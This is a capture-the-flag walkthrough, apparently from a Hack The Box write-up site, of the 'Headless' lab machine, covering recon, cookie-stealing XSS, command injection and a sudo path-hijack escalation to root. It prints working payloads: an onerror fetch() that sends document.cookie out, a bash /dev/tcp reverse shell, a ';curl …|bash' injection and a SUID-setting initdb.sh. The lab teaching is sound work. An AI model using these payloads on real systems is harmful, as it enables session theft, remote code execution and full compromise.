> For the complete documentation index, see [llms.txt](https://bunring.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://bunring.gitbook.io/ctf-writeups/hack-the-box/2024/headless.md).

# Headless

{% embed url="<https://app.hackthebox.com/machines/Headless>" %}

## Recon

Let's start with a simple nmap scan.

{% code overflow="wrap" %}

```
┌──(kali㉿kali)-[~]
└─$ nmap -p- -T4 headless.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 06:22 BST
Nmap scan report for headless.htb (10.10.11.8)
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 21.58 seconds

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 22,5000 -T4 headless.htb          
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 06:24 BST
Stats: 0:00:32 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 06:25 (0:00:32 remaining)
Stats: 0:00:32 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 06:25 (0:00:32 remaining)
Nmap scan report for headless.htb (10.10.11.8)
Host is up (0.040s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Mon, 08 Apr 2024 05:21:06 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=4/8%Time=66137F9B%P=x86_64-pc-linux-gnu%r(
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.50 seconds

```

{% endcode %}

We have two ports 22 and 5000. 5000 seems like a webpage let's try visiting it.&#x20;

<figure><img src="/files/ilbotVPs0zdLjHGxN8gr" alt=""><figcaption></figcaption></figure>

We have a webpage. \
Let do some enumeration on this now.&#x20;

Feroxbuster revealed two directories `/dashboard` and `/support`.&#x20;

<figure><img src="/files/dAmMkftl4RU3ApmYWS69" alt=""><figcaption></figcaption></figure>

## Initial Access

We are not able to visit `/dashboard`, however `/support` reveals a web-form. Let's try some payloads here.&#x20;

<figure><img src="/files/Un0YmixUMVwnbdEnXayi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/lpQvyFMlmCHy2R0Hy98I" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fwguTRPycf2lSEVFpwzo" alt=""><figcaption></figcaption></figure>

Interesting. We now know that it is being detected. Let us try the same with burp suite and a python server to check if the payload is trying to fetch something.

<figure><img src="/files/NWjguJaj2YxpDYzfN0pE" alt=""><figcaption></figcaption></figure>

After some trial and error. Adding the payload in place of User-Agent worked.&#x20;

{% hint style="info" %}
\<img src=x onerror=fetch('http\://\<Your Machine IP>/?c='+document.cookie);>
{% endhint %}

<figure><img src="/files/IWIZfhRVTzKocecPFQ5T" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kcp1yiijf8vYPGMsRgm6" alt=""><figcaption></figcaption></figure>

It worked and we now have and admin cookie. We should be able to use that to access the `/dashboard` page.

<figure><img src="/files/zu8pJAAbnFhpMEFrC9Qr" alt=""><figcaption></figcaption></figure>

The dashboard seems to generate a report for a specified date. It takes input lets see if we can get a reverse shell this way.If we attempt to intercept the packet and establish a connection directly with our machine, we won't obtain a correct response.

```
bash -i >& /dev/tcp/Your_IP/PortNo 0>&1
```

What occurs if we curl our local machine and execute the retrieved content using bash?

Let's add the above payload into a file called `shell.sh`.

We set up a python server so the file can be accessed and a net cat listner so we can capture the shell.

Then we add the below payload after the `date` variable in Burp Suite.

```
;curl http://<YourIP>/shell.sh|bash
```

<figure><img src="/files/Zjn6kR7Ov8uRV6LuspZJ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/CLDUeuOo9U1sEUKuExCS" alt=""><figcaption></figcaption></figure>

We have our reverse shell and should get the user flag.

<figure><img src="/files/caNB5YlfMeww9lrsQQMq" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

Lets see what we are able to do as sudo.&#x20;

```
bash-5.2$ sudo -l
sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck
bash-5.2$ 
```

We can see that dvir user has permission to execute **/usr/bin/syscheck** binary as the root user. Let’s see the contents of this binary using the cat command.&#x20;

We will find that there is a bash script (**initdb.sh**) that gets executed without specifying its full path. We can simply exploit this vulnerability by creating a malicious bash script with the same name. We need to run the following commands to achieve the same:

```
echo “chmod u+s /bin/bash” > initdb.sh
chmod +x initdb.sh
```

When we execute the syscheck binary, then our malicious script will be executed as it is in our current directory. This script will assign the root user’s **SUID bit** to the /bin/bash file. Let’s see this in action by running the following command:

```
sudo /usr/bin/syscheck
```

After running the above command, we need to execute the /bin/bash with the privileges of the owner (root). We can do this with the help of the following command:

```
/bin/bash -p
```

<figure><img src="/files/YonFr2VdNiJa9igyhmev" alt=""><figcaption></figcaption></figure>

We are now root. We can get our root flag now.

<figure><img src="/files/30GHfMGbE2YmCm5fglC1" alt=""><figcaption></figcaption></figure>
